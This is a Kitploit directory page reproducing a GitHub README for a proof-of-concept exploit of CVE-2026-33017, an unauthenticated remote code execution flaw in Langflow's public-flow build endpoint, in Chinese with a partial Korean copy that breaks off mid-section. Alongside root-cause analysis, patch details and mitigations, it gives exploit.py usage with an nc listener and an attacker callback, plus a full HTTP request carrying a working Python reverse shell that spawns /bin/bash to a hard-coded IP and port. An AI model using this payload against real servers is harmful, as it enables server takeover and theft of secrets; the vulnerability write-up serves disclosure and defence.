Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33017 — CVE-2026-33017 的概念验证漏洞利用,该漏洞是 Langflow 的 build_public_tmp 端点中的未认证 RCE,通过注入恶意自定义组件来获取反向 shell。 | Kitploit
工具/GitHubGitHub/yym8538/cve-2026-33017
漏洞分析漏洞利用逆向工程Web应用程序漏洞利用渗透测试红队远程访问工具Payload 开发AI 安全
GitHubyym8538/cve-2026-33017

CVE-2026-33017

CVE-2026-33017 的概念验证漏洞利用,该漏洞是 Langflow 的 build_public_tmp 端点中的未认证 RCE,通过注入恶意自定义组件来获取反向 shell。

11个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
分享

CVE-2026-33017 Langflow RCE

★ CVE-2026-33017 Langflow 远程代码执行 PoC ★

https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7


环境搭建

使用以下命令构建并运行存在漏洞的 Langflow 环境:

docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln

如何使用 PoC

启动存在漏洞的 Langflow 实例后,使用目标 URL、Public flow ID 以及攻击者回调地址运行 PoC。

方式 A —— 使用你自己的监听器:

# Terminal 1: start a listener
nc -lvnp 4444

# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444

方式 B —— 使用内置监听器 --listen:

python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
选项描述
--url目标 Langflow 服务器 URL
--flow-id共享 Public flow 的 UUID
--lhost攻击者回调 IP
--lport攻击者回调端口
--listen运行内置监听器,而非外部 nc

ENG

CVE-2026-33017 是 Langflow(一个用于可视化构建 LLM 应用与 AI 工作流的开源平台)Public flow 构建过程中的 远程代码执行(Remote Code Execution,RCE) 漏洞。
攻击者无需认证,只需向 build_public_tmp 端点发送精心构造的 flow 数据,即可导致服务器上执行任意 Python 代码。


概述

CVE-2026-33017 影响 Langflow(一个用于可视化创建 LLM 应用与 AI 工作流的开源平台)中的以下 Public flow 构建端点。

POST /api/v1/build_public_tmp/{flow_id}/flow

Langflow 中的 Public flow 旨在通过链接或类似机制与其他用户共享。
为支持该功能,构建端点会在无需认证的情况下读取 flow 的节点、边和设置,并构建运行所需的内部执行图,从而将 flow 准备为可执行状态。

问题在于,存在漏洞的 build_public_tmp 版本不仅接受服务器上存储的 Public flow 信息,还接受请求体中提供的 data 字段。

该 data 字段可以包含完整的 flow 定义,包括:

  • 节点列表
  • 节点之间的连接
  • 每个节点的详细配置值
  • 执行所需的模板与自定义组件数据

因此,攻击者可以利用未认证请求注入完全由攻击者控制的 flow 结构,而无需依赖服务器上存储的合法 Public flow。

该设计中尤为危险的部分是 Custom Component(自定义组件) 功能。
在 Langflow 中,组件代表负责输入处理、模型调用或输出生成等任务的独立功能块。自定义组件是一种可扩展块,允许用户直接用 Python 代码定义其行为。

因此,攻击者可以在构造的 data 对象中嵌入包含恶意 Python 代码的自定义组件,服务器会将其视为 flow 的正常组成部分进行处理。结果,注入的代码可能在构建或执行过程中被解析并执行,最终导致远程代码执行。


受影响版本

类别版本
存在漏洞Langflow 1.9.0 之前
已修复Langflow 1.9.0 及之后

GitHub Security Advisory 将受影响范围列为 <= 1.8.2,但修复(移除 data 参数)是在 1.9.0 中落地的。因此,1.9.0 之前的所有版本(包括 1.8.3 / 1.8.4)均受影响,这也是 CVE Record 中写明 < 1.9.0 的原因。


影响

成功利用该漏洞可能使攻击者控制 Langflow 服务器并执行后续操作,例如:

  • 获取服务器 shell
  • 窃取环境变量或其他敏感信息
  • 安装额外的恶意代码并建立持久化

概念验证

以下 PoC 演示了在 Langflow 1.8.1 上的 CVE-2026-33017。

1) 识别 Public Flow ID

攻击者首先识别目标 Public flow 的 flow_id。

识别 Public Flow ID

2) 发送包含恶意自定义组件的构建请求

攻击者发送 build_public_tmp 请求,注入一个自定义组件,其 Python code 会在临时构建期间于服务器上执行。在下面的请求中,code 值保留为占位符——请自行插入 payload(参见请求下方的说明)。

POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close

{
  "data": {
    "nodes": [
      {
        "id": "Exploit",
        "data": {
          "id": "Exploit",
          "type": "ExploitComp",
          "node": {
            "template": {
              "_type": "Component",
              "code": {
                "type": "code",
                "value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n\n    def r(self) -> Data:\n        import socket,subprocess\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('192.168.102.178', 4444))\n        p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n        p.wait()\n        return Data(data={'ok': 1})"
              }
            },
            "outputs": [
              { "types": ["Data"], "name": "o", "method": "r" }
            ]
          }
        }
      }
    ],
    "edges": []
  }
}

3) 获取 Shell

在构建过程中,嵌入自定义组件的代码会在服务器上执行。当使用反向 shell 变体(由 exploit.py 自动化)时,会与攻击者的监听器建立连接,使攻击者获得一个交互式 shell,从而在服务器上执行任意命令。

获取 Shell


技术分析

尽管 build_public_tmp 旨在构建 Public flow,但存在漏洞的版本仍然接受直接来自请求体的 data 字段。

由于这一设计,攻击者提供的 data 被直接传入服务器端构建逻辑,而自定义组件中嵌入的任何 Python 代码都会被当作合法 flow 的一部分进行处理。

因此,攻击者无需依赖服务器上存储的原始 Public flow。相反,他们可以注入完全由自己构造的恶意 flow 定义,包括可在服务器上执行的代码。

补丁之后,build_public_tmp 不再接受外部提供的 data。
换言之,此前允许攻击者通过请求体注入整个 flow 定义的路径已被移除,这也阻止了通过恶意自定义组件执行任意代码。

补丁 Diff


缓解措施

  • 更新至 Langflow 1.9.0 或更高版本
  • 移除不必要的 Public flow 暴露
  • 限制对 Langflow 实例的直接外部访问

参考资料

  • GitHub Security Advisory: GHSA-vwmf-pq79-vjvx
  • NVD: CVE-2026-33017
  • Patch Commit: 73b6612e3ef25fdae0a752d75b0fabd47328d4f0

Analysis

  • KR: https://www.skshieldus.com/report/eqstInsight/rt2607.html
  • EN:


KOR

CVE-2026-33017은 오픈소스 AI 워크플로우 플랫폼 Langflow의 Public 플로우 빌드 과정에서 발생하는 원격 코드 실행(Remote Code Execution, RCE) 취약점이다.
공격자는 인증 없이 build_public_tmp 엔드포인트에 조작된 플로우 데이터를 전달함으로써, 서버 측에서 임의 Python 코드 실행을 유도할 수 있다.


Overview

CVE-2026-33017은 LLM 애플리케이션과 AI 워크플로우를 시각적으로 구성할 수 있는 오픈소스 플랫폼 Langflow의 Public 플로우 빌드 엔드포인트인 아래 API에서 발생한다.

POST /api/v1/build_public_tmp/{flow_id}/flow

Langflow의 Public 플로우는 다른 사용자가 링크 등을 통해 불러와 사용할 수 있도록 외부에 공개되는 플로우이다.
이 기능은 인증 없이도 해당 플로우를 실행 가능한 상태로 준비할 수 있도록 설계되어 있으며, 빌드 엔드포인트는 플로우를 구성하는 노드, 연결 관계, 설정값 등을 바탕으로 내부 실행 그래프를 생성하고 각 블록이 실제로 동작할 수 있도록 준비하는 역할을 수행한다.

문제는 취약한 버전의 build_public_tmp 엔드포인트가 요청 바디에 포함된 data 값도 함께 받아들였다는 점이다.

이 data에는 다음과 같은 플로우 전체 정의가 포함될 수 있다.

  • 노드 목록
  • 노드 간 연결 관계
  • 각 노드의 세부 설정값
  • 실행에 필요한 템플릿 및 커스텀 컴포넌트 정보

즉, 공격자는 인증 없는 요청으로 서버에 저장된 정상 플로우 대신 자신이 조작한 플로우 구조 전체를 주입할 수 있었다.

이 과정에서 특히 위험한 요소는 커스텀 컴포넌트(Custom Component) 이다.
Langflow에서 컴포넌트는 입력 처리, 모델 호출, 출력 생성 등 개별 기능을 담당하는 블록이며, 커스텀 컴포넌트는 사용자가 Python 코드로 직접 정의할 수 있는 확장형 블록이다.

공격자는 조작한 data 내부에 악성 Python 코드가 포함된 커스텀 컴포넌트를 삽입할 수 있었고, 서버는 이를 정상적인 플로우 구성 요소처럼 처리했다. 그 결과, 해당 코드가 빌드/실행 흐름에서 실제로 해석·실행되며 원격 코드 실행이 가능해졌다.


Affected Versions

구분버전
취약 버전Langflow 1.9.0 미만
패치 버전Langflow 1.9.0 이상

GitHub Security Advisory는 영향 범위를 <= 1.8.2로 표기하지만, 실제 패치(data 파라미터 제거)는 1.9.0에 반영되었다. 따라서 1.8.3·1.8.4를 포함해 1.9.0 이전의 모든 버전이 취약하며, CVE Record도 이를 < 1.9.0으로 명시한다.


Impact

이 취약점을 통해 공격자는 Langflow 서버를 제어한 뒤 추가 행위를 수행할 수 있다. 대표적인 영향은 다음과 같다.

  • 서버 셸 획득
  • 환경 변수 및 비밀정보 유출
  • 추가 악성 코드 설치 및 지속성 확보

Proof of Concept

아래 PoC는 Langflow 1.8.1 환경에서 CVE-2026-33017을 재현하는 예시이다.

1) Public 플로우 ID 확인

공격자는 공격 대상이 되는 Public 플로우의 flow_id 를 먼저 파악한다.

Public 플로우 ID 확인

2) 악성 커스텀 컴포넌트 빌드 요청

下载工具